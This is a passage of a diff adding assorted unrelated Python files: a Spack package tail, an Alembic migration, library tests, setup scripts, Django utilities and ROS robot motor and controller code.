+    url      = "file://{0}/signalp-4.1f.Linux.tar.gz".format(os.getcwd())
+
+    version('4.1f', 'a9aeb66259202649c959846f3f4d9744')
+
+    depends_on('perl', type=('build', 'run'))
+    depends_on('gnuplot')
+
+    def patch(self):
+        edit = FileFilter('signalp')
+        edit.filter("ENV{SIGNALP} = .*",
+                    "ENV{SIGNALP} = '%s'" % self.prefix)
+
+    def install(self, spec, prefix):
+        mkdirp(prefix.share.man)
+        install('signalp', prefix)
+        install('signalp.1', prefix.share.man)
+        install_tree('bin', prefix.bin)
+        install_tree('lib', prefix.lib)
+        install_tree('syn', prefix.syn)
+
+    def setup_environment(self, spack_env, run_env):
+        run_env.prepend_path('PATH', prefix)
diff --git a/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py b/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py
new file mode 100644
index 0000000000000000000000000000000000000000..4b333b3f762e0ad3b6c9168877fa32c9d73e5f7b
--- /dev/null
+++ b/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py
@@ -0,0 +1,26 @@
+"""Add bitrate to channels for ip
+
+Revision ID: 528cfcb91ede
+Revises: 2450ae9222bd
+Create Date: 2015-05-30 16:48:05.159741
+
+"""
+
+# revision identifiers, used by Alembic.
+revision = '528cfcb91ede'
+down_revision = '2450ae9222bd'
+
+from alembic import op
+import sqlalchemy as sa
+
+
+def upgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.add_column('channel', sa.Column('bitrate', sa.Integer(), nullable=True))
+    ### end Alembic commands ###
+
+
+def downgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.drop_column('channel', 'bitrate')
+    ### end Alembic commands ###
diff --git a/pool/shard000/Python/0008662_test_mysql.py b/pool/shard000/Python/0008662_test_mysql.py
new file mode 100644
index 0000000000000000000000000000000000000000..291f44ad634b1b84acb6b9c11c04f042818b1ed3
--- /dev/null
+++ b/pool/shard000/Python/0008662_test_mysql.py
@@ -0,0 +1,54 @@
+# -*- coding: utf-8 -*-
+
+# Copyright (c) 2015 OpenStack Foundation
+# All Rights Reserved.
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+from oslo_utils import encodeutils
+from testtools import testcase
+
+import tooz
+from tooz import coordination
+from tooz import tests
+
+
+class TestMySQLDriver(testcase.TestCase):
+
+    def _create_coordinator(self, url):
+
+        def _safe_stop(coord):
+            try:
+                coord.stop()
+            except tooz.ToozError as e:
+                message = encodeutils.exception_to_unicode(e)
+                if (message != 'Can not stop a driver which has not'
+                               ' been started'):
+                    raise
+
+        coord = coordination.get_coordinator(url,
+                                             tests.get_random_uuid())
+        self.addCleanup(_safe_stop, coord)
+        return coord
+
+    def test_connect_failure_invalid_hostname_provided(self):
+        c = self._create_coordinator("mysql://invalidhost/test")
+        self.assertRaises(coordination.ToozConnectionError, c.start)
+
+    def test_connect_failure_invalid_port_provided(self):
+        c = self._create_coordinator("mysql://localhost:54/test")
+        self.assertRaises(coordination.ToozConnectionError, c.start)
+
+    def test_connect_failure_invalid_hostname_and_port_provided(self):
+        c = self._create_coordinator("mysql://invalidhost:54/test")
+        self.assertRaises(coordination.ToozConnectionError, c.start)
diff --git a/pool/shard000/Python/0008663_point3d_based_servoing_policy.py b/pool/shard000/Python/0008663_point3d_based_servoing_policy.py
new file mode 100644
index 0000000000000000000000000000000000000000..03f9704834a1238b90e1cfd3ddf2d10f4c0d8868
--- /dev/null
+++ b/pool/shard000/Python/0008663_point3d_based_servoing_policy.py
@@ -0,0 +1,50 @@
+import numpy as np
+from citysim3d.policies import PointBasedServoingPolicy
+
+
+def get_interaction_matrix_XYZ(X, Y, Z):
+    L = np.array([[-1, 0, 0, 0, -Z, Y],
+                  [0, -1, 0, Z, 0, -X],
+                  [0, 0, -1, -Y, X, 0]])
+    return L
+
+
+class Point3dBasedServoingPolicy(PointBasedServoingPolicy):
+    def __init__(self, env, lambda_=1.0, use_car_dynamics=False):
+        self.env = env
+        self.lambda_ = lambda_
+        self.use_car_dynamics = use_car_dynamics
+
+    def act(self, obs):
+        points_XYZ = obs['points']
+        target_points_XYZ = obs['target_points']
+
+        s_target = np.concatenate(target_points_XYZ)
+
+        if self.use_car_dynamics:
+            # apply zero action to observe changes that are independent from the action. then, restore states.
+            random_state = np.random.get_state()
+            state = self.env.get_state()
+            action = np.zeros(self.env.action_space.shape)
+            obs, _, _, _ = self.env.step(action)
+            next_points_XYZ = obs['points']
+            if next_points_XYZ is None:
+                next_points_XYZ = points_XYZ
+            s = np.concatenate(next_points_XYZ)
+            self.env.set_state(state)
+            np.random.set_state(random_state)
+        else:
+            s = np.concatenate(points_XYZ)
+
+        L = []
+        for point_XYZ, target_point_XYZ in zip(points_XYZ, target_points_XYZ):
+            L.append(get_interaction_matrix_XYZ(*point_XYZ))
+        L = np.concatenate(L)
+
+        try:
+            action = - self.lambda_ * np.linalg.solve(L.T.dot(L), L.T.dot(s - s_target))
+        except np.linalg.linalg.LinAlgError:
+            action = np.zeros(self.env.action_space.shape)
+
+        action = self.transform_camera_to_inertial(action)
+        return action
diff --git a/pool/shard000/Python/0008668_test_publish_failures.py b/pool/shard000/Python/0008668_test_publish_failures.py
new file mode 100644
index 0000000000000000000000000000000000000000..5cb8691ee96312d30e87ef0a53059a4b38be6f6c
--- /dev/null
+++ b/pool/shard000/Python/0008668_test_publish_failures.py
@@ -0,0 +1,41 @@
+import unittest
+
+import werks.bus
+
+class TestFailure(Exception):
+
+    def __init__(self, *args, **kwargs):
+        Exception.__init__(self, *args, **kwargs)
+
+
+class FailingEventHandler(object):
+
+    def callback(self):
+        raise TestFailure()
+
+
+class BusSubscriberExceptionTestCase(unittest.TestCase):
+
+    def test_exception_thrown(self):
+        b = werks.bus.EventBus()
+        cb = FailingEventHandler()
+        b.subscribe("ch1", cb.callback)
+        with self.assertRaises(werks.bus.PublishFailures):
+            b.publish("ch1")
+
+
+    def test_nested_exeception_thrown(self):
+        b = werks.bus.EventBus()
+        cb = FailingEventHandler()
+        b.subscribe("ch1", cb.callback)
+        try:
+            b.publish("ch1")
+            self.fail("publish should have thrown")
+        except werks.bus.PublishFailures as err:
+            nested = err.get_instances()
+            self.assertTrue( len(nested) == 1 )
+            self.assertIsInstance( nested[0], TestFailure )
+            self.assertTrue( err.__bool__() )
+            #
+            # just exercise the __str__ method
+            string = err.__str__()
diff --git a/pool/shard000/Python/0008669_setup.py b/pool/shard000/Python/0008669_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..01eabe5c6c9efd7d09c150e0c8a4460ecc7796c9
--- /dev/null
+++ b/pool/shard000/Python/0008669_setup.py
@@ -0,0 +1,76 @@
+# Copyright 2014 Donald Stufft
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+from __future__ import absolute_import, division, print_function
+
+import os
+
+import setuptools
+
+base_dir = os.path.dirname(__file__)
+
+with open(os.path.join(base_dir, "readme", "__about__.py")) as f:
+    about = {}
+    exec(f.read(), about)
+
+with open(os.path.join(base_dir, "README.rst")) as f:
+    long_description = f.read()
+
+
+setuptools.setup(
+    name=about["__title__"],
+    version=about["__version__"],
+
+    description=about["__summary__"],
+    long_description=long_description,
+    license=about["__license__"],
+    url=about["__uri__"],
+
+    author=about["__author__"],
+    author_email=about["__email__"],
+
+    classifiers=[
+        "Intended Audience :: Developers",
+        "License :: OSI Approved :: Apache Software License",
+        "Natural Language :: English",
+        "Operating System :: MacOS :: MacOS X",
+        "Operating System :: POSIX",
+        "Operating System :: POSIX :: BSD",
+        "Operating System :: POSIX :: Linux",
+        "Operating System :: Microsoft :: Windows",
+        "Programming Language :: Python",
+        "Programming Language :: Python :: 2",
+        "Programming Language :: Python :: 2.6",
+        "Programming Language :: Python :: 2.7",
+        "Programming Language :: Python :: 3",
+        "Programming Language :: Python :: 3.2",
+        "Programming Language :: Python :: 3.3",
+        "Programming Language :: Python :: Implementation :: CPython",
+        "Programming Language :: Python :: Implementation :: PyPy",
+    ],
+
+    install_requires=[
+        "bleach",
+        "docutils",
+        "Pygments",
+        "six",
+    ],
+
+    entry_points={
+        "distutils.commands": [
+            "check = readme.integration.distutils:Check",
+        ],
+    },
+
+    packages=setuptools.find_packages(exclude=["tests", "tests.*"]),
+)
diff --git a/pool/shard000/Python/0008671_test-time.py b/pool/shard000/Python/0008671_test-time.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b21a047e07d3fa2d5db6f30ca35bd82e52f1e36
--- /dev/null
+++ b/pool/shard000/Python/0008671_test-time.py
@@ -0,0 +1,55 @@
+# -*- coding: utf-8 -*-
+import logging
+if __name__ == '__main__':
+    logging.basicConfig()
+_log = logging.getLogger(__name__)
+import pyxb
+import unittest
+import pyxb.binding.datatypes as xsd
+import datetime
+
+class Test_time (unittest.TestCase):
+
+    def verifyTime (self, tm, with_usec=True, with_adj=(0,0), with_tzinfo=True):
+        (hour_adj, minute_adj) = with_adj
+        self.assertEqual(12 + hour_adj, tm.hour)
+        self.assertEqual(14 + minute_adj, tm.minute)
+        self.assertEqual(32, tm.second)
+        if with_usec:
+            self.assertEqual(123400, tm.microsecond)
+        self.assertEqual(with_tzinfo, tm.tzinfo is not None)
+
+    def testBad (self):
+        self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12: 14: 32')
+        self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.Z')
+        self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.123405:00')
+        self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.1234+05')
+
+    def testFromText (self):
+        self.verifyTime(xsd.time('12:14:32'), with_usec=False, with_tzinfo=False)
+        self.verifyTime(xsd.time('12:14:32.1234'), with_tzinfo=False)
+        self.verifyTime(xsd.time('12:14:32Z'), with_usec=False)
+        self.verifyTime(xsd.time('12:14:32.1234Z'))
+        self.verifyTime(xsd.time('12:14:32.1234+05:00'), with_adj=(-5,0))
+        self.verifyTime(xsd.time('12:14:32.1234Z'))
+        self.verifyTime(xsd.time('  12:14:32', _from_xml=True), with_usec=False, with_tzinfo=False)
+        self.verifyTime(xsd.time('12:14:32  ', _from_xml=True), with_usec=False, with_tzinfo=False)
+
+    def testArguments (self):
+        self.verifyTime(xsd.time(12, 14, 32), with_usec=False, with_tzinfo=False)
+        self.verifyTime(xsd.time(12, 14, 32, 123400), with_tzinfo=False)
+
+    def testXsdLiteral (self):
+        dt = xsd.time('12:14:32Z')
+        self.assertEqual('12:14:32Z', dt.xsdLiteral())
+        self.assertTrue(dt.tzinfo is not None)
+        self.assertEqual('07:14:32Z', xsd.time('12:14:32+05:00').xsdLiteral())
+        self.assertEqual('17:14:32Z', xsd.time('12:14:32-05:00').xsdLiteral())
+        self.assertEqual('17:14:32.1234Z', xsd.time('12:14:32.123400-05:00').xsdLiteral())
+        # No zone info
+        dt = xsd.time('12:14:32')
+        self.assertEqual('12:14:32', dt.xsdLiteral())
+        self.assertFalse(dt.tzinfo is not None)
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0008673_setup.py b/pool/shard000/Python/0008673_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..77195ce0683414995e2cbb93e787e117de4b7d5e
--- /dev/null
+++ b/pool/shard000/Python/0008673_setup.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+import os
+
+# Including all datafiles
+datadir = os.path.join('bin/templates')
+datafiles = [(d, [os.path.join(d,f) for f in files])
+    for d, folders, files in os.walk(datadir)]
+
+from distutils.core import setup
+setup(
+  name = 'bootdev',
+  #packages = ['bootdev'], # this must be the same as the name above
+  version = '0.2.10',
+  description = 'Bootdev command for AWS deployments',
+  author = 'chankongching',
+  author_email = 'chankongching@gmail.com',
+  url = 'https://github.com/chankongching/bootdev', # use the URL to the github repo
+  download_url = 'https://github.com/chankongching/bootdev/tarball/0.1', 
+  keywords = ['testing', 'logging', 'example'], # arbitrary keywords
+  license='MIT',
+  scripts=['bin/bootdev'],
+  include_package_data = True,
+  data_files = datafiles,
+  #data_files = [('', ['templates/*.template'])],
+  #package_data={'bootdev':['templates/*.template']},
+  install_requires=[
+    'boto3',
+    'awscli'
+  ],
+  classifiers=[
+    # How mature is this project? Common values are
+    #   3 - Alpha
+    #   4 - Beta
+    #   5 - Production/Stable
+    'Development Status :: 3 - Alpha',
+
+    # Indicate who your project is intended for
+    'Intended Audience :: Developers',
+    'Topic :: Software Development :: Build Tools',
+
+    # Pick your license as you wish (should match "license" above)
+     'License :: OSI Approved :: MIT License',
+
+    # Specify the Python versions you support here. In particular, ensure
+    # that you indicate whether you support Python 2, Python 3 or both.
+    #'Programming Language :: Python :: 2',
+    #'Programming Language :: Python :: 2.6',
+    'Programming Language :: Python :: 2.7',
+    #'Programming Language :: Python :: 3',
+    #'Programming Language :: Python :: 3.2',
+    #'Programming Language :: Python :: 3.3',
+    #'Programming Language :: Python :: 3.4',
+  ],
+)
diff --git a/pool/shard000/Python/0008676_utils.py b/pool/shard000/Python/0008676_utils.py
new file mode 100644
index 0000000000000000000000000000000000000000..078a74d758d23673a1863e318b951e6cfa2dee06
--- /dev/null
+++ b/pool/shard000/Python/0008676_utils.py
@@ -0,0 +1,85 @@
+# -*- coding: utf-8 -*-
+import os, json, codecs
+
+from django.conf import settings
+
+DIR = os.path.join(settings.BASE_DIR, 'dump')
+
+
+def get_current_version():
+    """ Returns current PROJECT version. This is useful for static files builds,
+        e.g. scripts and styles. This way we can append common suffx for all files
+        as well as for HTML tags later.
+    """
+    try:
+        v_file = open(os.path.join(settings.BASE_DIR, 'VERSION'))
+    except IOError:
+        return '0.0.0'
+    version = v_file.read().strip()
+    v_file.close()
+    return version
+
+
+def serialize_item(model):
+    """ Changes the values of model fields on a serialized value. It takes
+    a concrete instance of the model as an argument and returns a dictionary. """
+    model_dict = {}
+    for key, val in model.__dict__.iteritems():
+        if key.startswith('_'):
+            continue
+        elif type(model.__dict__[key]).__name__ == 'ImageFieldFile':
+            model_dict.update({key: model.__dict__[key].path})
+        elif type(model.__dict__[key]).__name__ == 'datetime':
+            model_dict.update({key: model.__dict__[key].isoformat()})
+        else:
+            model_dict.update({key: model.serializable_value(key)})
+    return model_dict
+
+
+def serialize_models(model_class):
+    """
+    Serializes all objects from a given model and returns the data in json format.
+    """
+    model_data = []
+    for item in model_class.objects.all():
+        model_data.append(serialize_item(item))
+    return json.dumps(model_data)
+
+
+def export_items(model_class):
+    """ Exports all objects connected with a given model (class objects need
+    to be passed as a function parameter) to a universal JSON format and
+    saves the results in a file in a proper folder. """
+    dirname = os.path.join(DIR, model_class.__module__.split('.')[0].lower())
+    if not os.path.isdir(dirname):
+        os.mkdir(dirname)
+    filename = os.path.join(dirname, model_class.__name__.lower() + '.json')
+    f = codecs.open(filename, 'w+', 'utf-8')
+    f.write(serialize_models(model_class))
+    f.close()
+
+
+def load_ideas():
+    """ An example of a how the above function can be used in an idea. This
+    function is written 'as once', therefore it will not work without
+    corrections.
+    """
+    from django.contrib.auth.models import User
+    from locations.models import Location
+    from ideas.models import Idea
+    from .helpers import date_from_iso
+    f = codecs.open(os.path.join(DIR, 'ideas' ,'idea.json'), 'r', 'utf-8')
+    data = json.loads(f.read())
+    for l in data:
+        try:
+            idea = Idea.objects.create(
+                creator = User.objects.get(pk=l['creator_id']),
+                location = Location.objects.get(pk=l['location_id']),
+                name = l['name'],
+                description = l['description'],
+                status = l['status'],
+                date_created = date_from_iso(l['date_created']),
+                date_edited = date_from_iso(l['date_edited'])
+            )
+        except Exception as ex:
+            print ex.message
diff --git a/pool/shard000/Python/0008682_base.py b/pool/shard000/Python/0008682_base.py
new file mode 100644
index 0000000000000000000000000000000000000000..e8935ec762189676236d516cccc7e06febc823d9
--- /dev/null
+++ b/pool/shard000/Python/0008682_base.py
@@ -0,0 +1,76 @@
+# -*- coding: utf-8 -*-
+
+from builtins import object
+import re
+
+from csv_schema.exceptions import ImproperValueException
+
+
+class BaseColumn(object):
+
+    """Base for all column classes."""
+
+    value_template = ''  # Schema of stored value
+    improper_type_error_msg = u'Incompatible data type'
+    no_blank_error_msg = u'This column can not be empty'
+
+    _instance_counter = 0  # Counts number of instances. Needed in field ordering
+
+    def __init__(self, **kwargs):
+        self.options = kwargs
+        self.blank = kwargs.get('blank', False)
+        self._instance_counter = BaseColumn._instance_counter  # Override class attribute
+        BaseColumn._instance_counter += 1
+
+    def is_proper_value_format(self, raw_val):
+        """Check if value has proper schema.
+
+        :param raw_val: raw value from file
+        :type raw_val: str
+        :returns: True if ok, False if not
+        :rtype: bool
+
+        """
+        return bool(re.match(self.value_template, raw_val))
+
+    def convert(self, raw_val):
+        """Convert raw data to Python object.
+
+        :param raw_val: raw data
+        :type raw_val: str
+        :returns: Python object
+        :rtype: the one you want
+
+        """
+        raise NotImplementedError
+
+    def check_restriction(self, value):
+        """Execute check of optional restriction.
+        Raises ImproperValueRestrictionException when value does not meet restriction. 
+
+        :param value: converted value
+        :type value: the same as that returned by self.convert
+
+        """
+        pass
+
+    def clean(self, raw_value):
+        """Check if data piece assigned to this column is correct and return appropriate Python object.
+
+        :param raw_value: uncleaned value
+        :type raw_value: str
+        :returns: cleaned value
+        :rtype: object
+
+        """
+        if not raw_value:
+            if self.blank:
+                return raw_value
+            else:
+                raise ImproperValueException(self.no_blank_error_msg)
+        if self.is_proper_value_format(raw_value):
+            converted_value = self.convert(raw_value)
+            self.check_restriction(converted_value)
+            return converted_value
+        else:
+            raise ImproperValueException(self.improper_type_error_msg)
diff --git a/pool/shard000/Python/0008688_0000.py b/pool/shard000/Python/0008688_0000.py
new file mode 100644
index 0000000000000000000000000000000000000000..2a50df6c74ba4ae345657ede91a754ca0fbf6392
--- /dev/null
+++ b/pool/shard000/Python/0008688_0000.py
@@ -0,0 +1,12 @@
+
+from PIL import Image, ImageDraw, ImageFont
+
+def add_num():
+    im = Image.open('in.jpg')
+    xsize, ysize = im.size
+    draw = ImageDraw.Draw(im)
+    font = ImageFont.truetype("arial.ttf", xsize // 3)
+    draw.text((ysize // 5 * 4, 0), '3',    (250,128,114), font)
+    im.save('out.jpg')
+
+add_num()
diff --git a/pool/shard000/Python/0008702_motors.py b/pool/shard000/Python/0008702_motors.py
new file mode 100644
index 0000000000000000000000000000000000000000..7530f667c8edf78a964eff8b69da5cfcabb4240b
--- /dev/null
+++ b/pool/shard000/Python/0008702_motors.py
@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+#encoding: utf8
+import sys, rospy, math
+from pimouse_ros.msg import MotorFreqs
+from geometry_msgs.msg import Twist
+from std_srvs.srv import Trigger, TriggerResponse
+from pimouse_ros.srv import TimedMotion
+
+class Motor():
+        def     __init__(self):
+                if not self.set_power(False): sys.exit(1)
+
+                rospy.on_shutdown(self.set_power)
+                self.sub_raw = rospy.Subscriber('motor_raw', MotorFreqs, self.callback_raw_freq)
+                self.sub_cmd_vel = rospy.Subscriber('cmd_vel', Twist, self.callback_cmd_vel)
+                self.srv_on = rospy.Service('motor_on', Trigger, self.callback_on)
+                self.srv_off = rospy.Service('motor_off', Trigger, self.callback_off)
+		self.srv_tm = rospy.Service('timed_motion', TimedMotion, self.callback_tm)
+                self.last_time = rospy.Time.now()
+                self.using_cmd_vel = False
+
+        def     set_power(self,onoff=False):
+                en = "/dev/rtmotoren0"
+                try:
+                        with open(en,'w') as f:
+                                f.write("1\n" if onoff else "0\n")
+                        self.is_on = onoff
+                        return True
+                except:
+                        rospy.logerr("cannot write to " + en)
+
+                return False
+
+        def     set_raw_freq(self,left_hz,right_hz):
+                if not self.is_on:
+                        rospy.logerr("not enpowered")
+                        return
+
+                try:
+                        with open("/dev/rtmotor_raw_l0",'w') as lf,\
+                             open("/dev/rtmotor_raw_r0",'w') as rf:
+                                lf.write(str(int(round(left_hz))) + "\n")
+                                rf.write(str(int(round(right_hz))) + "\n")
+                except:
+                        rospy.logerr("cannot write to rtmotor_raw_*")
+
+        def     callback_raw_freq(self,message):
+                self.set_raw_freq(message.left_hz,message.right_hz)
+
+        def     callback_cmd_vel(self,message):
+                forward_hz = 80000.0*message.linear.x/(9*math.pi)
+                rot_hz = 400.0*message.angular.z/math.pi
+                self.set_raw_freq(forward_hz-rot_hz, forward_hz+rot_hz)
+
+                self.using_cmd_vel = True
+                self.last_time = rospy.Time.now()
+
+        def     onoff_response(self,onoff):
+                d = TriggerResponse()
+                d.success = self.set_power(onoff)
+                d.message = "ON" if self.is_on else "OFF"
+                return d
+
+        def     callback_on(self,message): return self.onoff_response(True)
+        def     callback_off(self,message): return self.onoff_response(False)
+
+	def	callback_tm(self,message):
+		if not self.is_on:
+			rospy.logerr("not enpowered")
+			return False
+
+		dev = "/dev/rtmotor0"
+		try:
+			with open(dev,'w') as f:
+				f.write("%d %d %d\n" %
+					(message.left_hz,message.right_hz,message.duration_ms))
+
+		except:
+			rospy.logerr("cannot write to " + dev)
+			return False
+
+		return True
+
+if __name__ == '__main__':
+        rospy.init_node('motors')
+        m = Motor()
+
+        rate = rospy.Rate(10)
+        while not rospy.is_shutdown():
+                if m.using_cmd_vel and rospy.Time.now().to_sec() - m.last_time.to_sec() >= 1.0:
+                        m.set_raw_freq(0,0)
+                        m.using_cmd_vel = False
+                rate.sleep()
diff --git a/pool/shard000/Python/0008704_helper.py b/pool/shard000/Python/0008704_helper.py
new file mode 100644
index 0000000000000000000000000000000000000000..78a112f2fdfb53994ef8a95e08e13e936e32ab84
--- /dev/null
+++ b/pool/shard000/Python/0008704_helper.py
@@ -0,0 +1,47 @@
+import json
+import re
+
+non_letter_finder = re.compile('\W')
+
+
+def value_for_cypher(value):
+    """
+    returns the value in cypher form
+
+    Parameters
+    ----------
+    value : str, list, or boolean
+       
+    Returns
+    -------
+    v : str
+        a string formatted for cypher
+    """
+    if isinstance(value, str):
+        return "'{}'".format(value)
+    if isinstance(value, list):
+        return json.dumps(value)
+    else:
+        v = "{}".format(value)
+        if isinstance(value, bool):
+            v = v.lower()
+        return v
+
+
+def key_for_cypher(key):
+    """
+    Checks if key is a non-letter, if it is, turns it into a string
+
+    Parameters
+    ----------
+    key : letter or non-letter
+        
+    Returns
+    -------
+    key : str
+        key made into a string
+    """
+    key = key.replace("`",'')
+    if non_letter_finder.search(key) is not None:
+        return "`{}`".format(key)
+    return key
diff --git a/pool/shard000/Python/0008705_main__.py b/pool/shard000/Python/0008705_main__.py
new file mode 100644
index 0000000000000000000000000000000000000000..704adb86e3228371ef93356203522a8aa1be0861
--- /dev/null
+++ b/pool/shard000/Python/0008705_main__.py
@@ -0,0 +1,24 @@
+try:
+    import j2p2j
+except ImportError:
+    import sys, os
+    sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..', '..'))
+    import j2p2j
+    
+class MyApp(j2p2j.Application):
+    pass
+
+class MyClient(j2p2j.Client):
+    def __init__(self):
+        self.counter = 0
+        
+    def increment(self):
+        self.counter += 1
+        return self.counter
+
+    def multiply(self, first=1, second=1):
+        return {'answer': first*second}
+
+if __name__ == '__main__':
+    a = MyApp('appFiles/index.html', MyClient)
+    a.run()
\ No newline at end of file
diff --git a/pool/shard000/Python/0008708_Controller1.py b/pool/shard000/Python/0008708_Controller1.py
new file mode 100644
index 0000000000000000000000000000000000000000..db884da76fb84885fddf945d75dac573a5e2ab35
--- /dev/null
+++ b/pool/shard000/Python/0008708_Controller1.py
@@ -0,0 +1,274 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+""" This scripts is the first attempt to create a controller node for our project.
+
+It is in charge of interpreting the simulation parameters, reacting to events from 
+the robots and sending back control events. 
+
+May the Force be with us. """
+
+from Component import Component
+from Graph import Graph
+from State import State
+from Task import Task
+from RobotHandler import RobotHandler
+from ebc.msg import Event
+from ebc.msg import Task as TaskMsg
+import rospy
+import sys
+import json
+import roslaunch
+
+
+
+class Controller ( Component ):
+    """
+    This is a controller. It is a runnable component of our project.
+    It ensures that the system will perform the tasks.
+    """ 
+    
+    def loadConfig( self ):
+        """ This method load the config file """
+        
+        config_file_n = rospy.get_param( 'config_file_name' )
+        
+        try:
+            self.config = json.load( open ( config_file_n, 'r' ) )
+            
+        except:
+            e = sys.exc_info()[0]
+            self.display("Error opening config file. %s" % e)
+            raise
+            
+            
+            
+    def createListGraph( self, sectors ):
+        """
+        This method will create the list of Graph object that will represent the environment
+        
+        Returns :
+        - graph  -- a list of Graph objects
+        """
+        graph = []
+        for sector in sectors:
+        
+            graph.append( Graph( sector ) )
+            
+        return graph
+            
+            
+            
+    def linkGraphs ( self ):
+        """ 
+        This method will link all the Graph objects
+        """
+        # Link all graphs object with their nexts sectors
+        for graph in self.graph:
+            next = []
+            for next_id in graph.next_ids:
+                for next_graph in self.graph:
+                    if next_graph.id == next_id:
+                        next.append( next_graph )
+                        
+            graph.next = next
+            
+        # Now we only need the reference of the home sectors to describe the whole graph
+        self.graph = self.graph[0] 
+
+        
+            
+    def loadGraph( self ):
+        """ This method creates the graph object to represent the environment """
+
+        sectors = self.config[ 'graph' ]['sectors'] # To this date we only use the sectors
+        self.graph = self.createListGraph( sectors )
+        self.linkGraphs()
+        
+        
+        
+    def robot_callback( self, msg ):
+        """
+        Reacts to a event from a robot : updates the state
+        """
+        # If the robot crosses a border, we change the state
+        # if the robot is displaying EOS or Gr, we do not change the state of the controller
+        if msg.event != Event.EOS and msg.event != Event.G:
+            # update the state
+            
+            # If the robot has finished the task
+            if not self.robot_handlers[msg.robot_id].task:
+                self.display( "No task running for robot " + str( msg.robot_id ) )
+                self.state.P[msg.robot_id] = 0
+                self.state.R[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector() # returns the "home" value
+                self.state.N[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector()    
+                
+            else:
+                self.display( "Task running for robot " + str( msg.robot_id ) )
+                self.state.P[msg.robot_id] += 1
+                self.state.R[msg.robot_id] = self.state.N[msg.robot_id]
+                self.state.N[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector()
+                
+                self.robot_handlers[msg.robot_id].changeSector()
+               
+        self.display ( "Received event from " + str(msg.robot_id) + ": " + str( msg.event ) )
+        
+        
+        
+    def createRobots( self ):
+        """
+        This method will creates all the node corresponding to robots
+        and store process handlers in an array.
+        It will also creates the corresponding topics.
+        """
+        
+        package = "ebc"
+        executable = "Robot.py"
+        name_base = "robot"
+        
+        launch = roslaunch.scriptapi.ROSLaunch()
+        launch.start()
+        
+        self.robot_handlers = []
+        for i in range( 0, self.config["performers"]["quantity"] ):
+            self.robot_handlers.append( RobotHandler( name_base+str(i), launch, self ) )
+
+        return
+            
+            
+    
+    def loadTasks( self ):
+        """
+        This load the task and creates a stack of tasks
+        """
+        self.tasks = []
+        for task in self.config["tasks"]:
+            self.tasks.append( Task( task ) )
+            
+        self.next_assigned_task_index = 0
+        
+        return
+        
+                
+        
+    def sendTask( self, robot, task ):
+        """
+        Assign and send a task to the robot
+        """
+        # Wait until all robots are available
+        while not ( self.task_pub.get_num_connections() >= self.config["performers"]["quantity"] ):
+            rospy.sleep( 0.1 )
+            
+        # publish message
+        self.task_pub.publish( robot.id, str(task) )
+        
+        self.robot_handlers[robot.id].assignTask( task, self.next_assigned_task_index )
+        
+        # update the state
+        self.state.P[ robot.id ] = 0
+        self.state.R[ robot.id ] = str( task.sectors[ 0 ] )
+        self.state.N[ robot.id ] = str(task.sectors[ 1 ])
+    
+        self.display( "Sent task " 
+                    + str(self.next_assigned_task_index)
+                    + " to robot " 
+                    + str(robot.id) )
+                    
+
+            
+            
+            
+    def dispatchTasks( self ):
+        """
+        This method will take the unfinished tasks from the pool of tasks and 
+        assign them to unoccupied robots
+        """
+        # For each unoccupied robots
+        for robot in self.robot_handlers:
+            if robot.acceptTask:
+                # assign an unassigned task( if there are any)
+                if self.next_assigned_task_index < len( self.tasks ): 
+                    self.sendTask( robot, self.tasks[ self.next_assigned_task_index ] )
+                    self.next_assigned_task_index += 1
+                else:
+                    break
+                    
+        # Check if all tasks are finished
+        if self.next_assigned_task_index == len( self.tasks ):
+            all_tasks_done = True
+            for robot in self.robot_handlers:
+                if not robot.acceptTask:
+                    all_tasks_done = False # At least one robot is busy
+                    break
+                    
+            if all_tasks_done:
+                # Say goodbye and quit
+                self.display( "Controller has successfully performed all operations, \"Yeeeeehaaaa\" if I may say so." )
+                self.stop()
+            
+        
+    
+    def setup ( self ):
+        """ Here we set up the simulation parameters for the controller """
+        self.loadConfig() # Load the config file
+        
+        # creates the robot handler objects
+        self.createRobots()
+        
+        # initialize the state
+        self.state = State( self.config, len( self.robot_handlers ), len( self.config["graph"] ) )
+        
+        # Publish our name to the parameters server
+        rospy.set_param( 'controller_name', rospy.get_name() )
+        
+        # Create our control publish
+        self.event_pub = rospy.Publisher( rospy.get_name(), Event, latch=True )
+        
+        # creates the graph object
+        self.loadGraph()
+        
+        # Creates and dispatch the task messages
+        self.task_pub = rospy.Publisher( "/tasks", TaskMsg, latch=True ) # important to latch
+        self.loadTasks()
+        self.dispatchTasks()
+                
+
+        
+
+
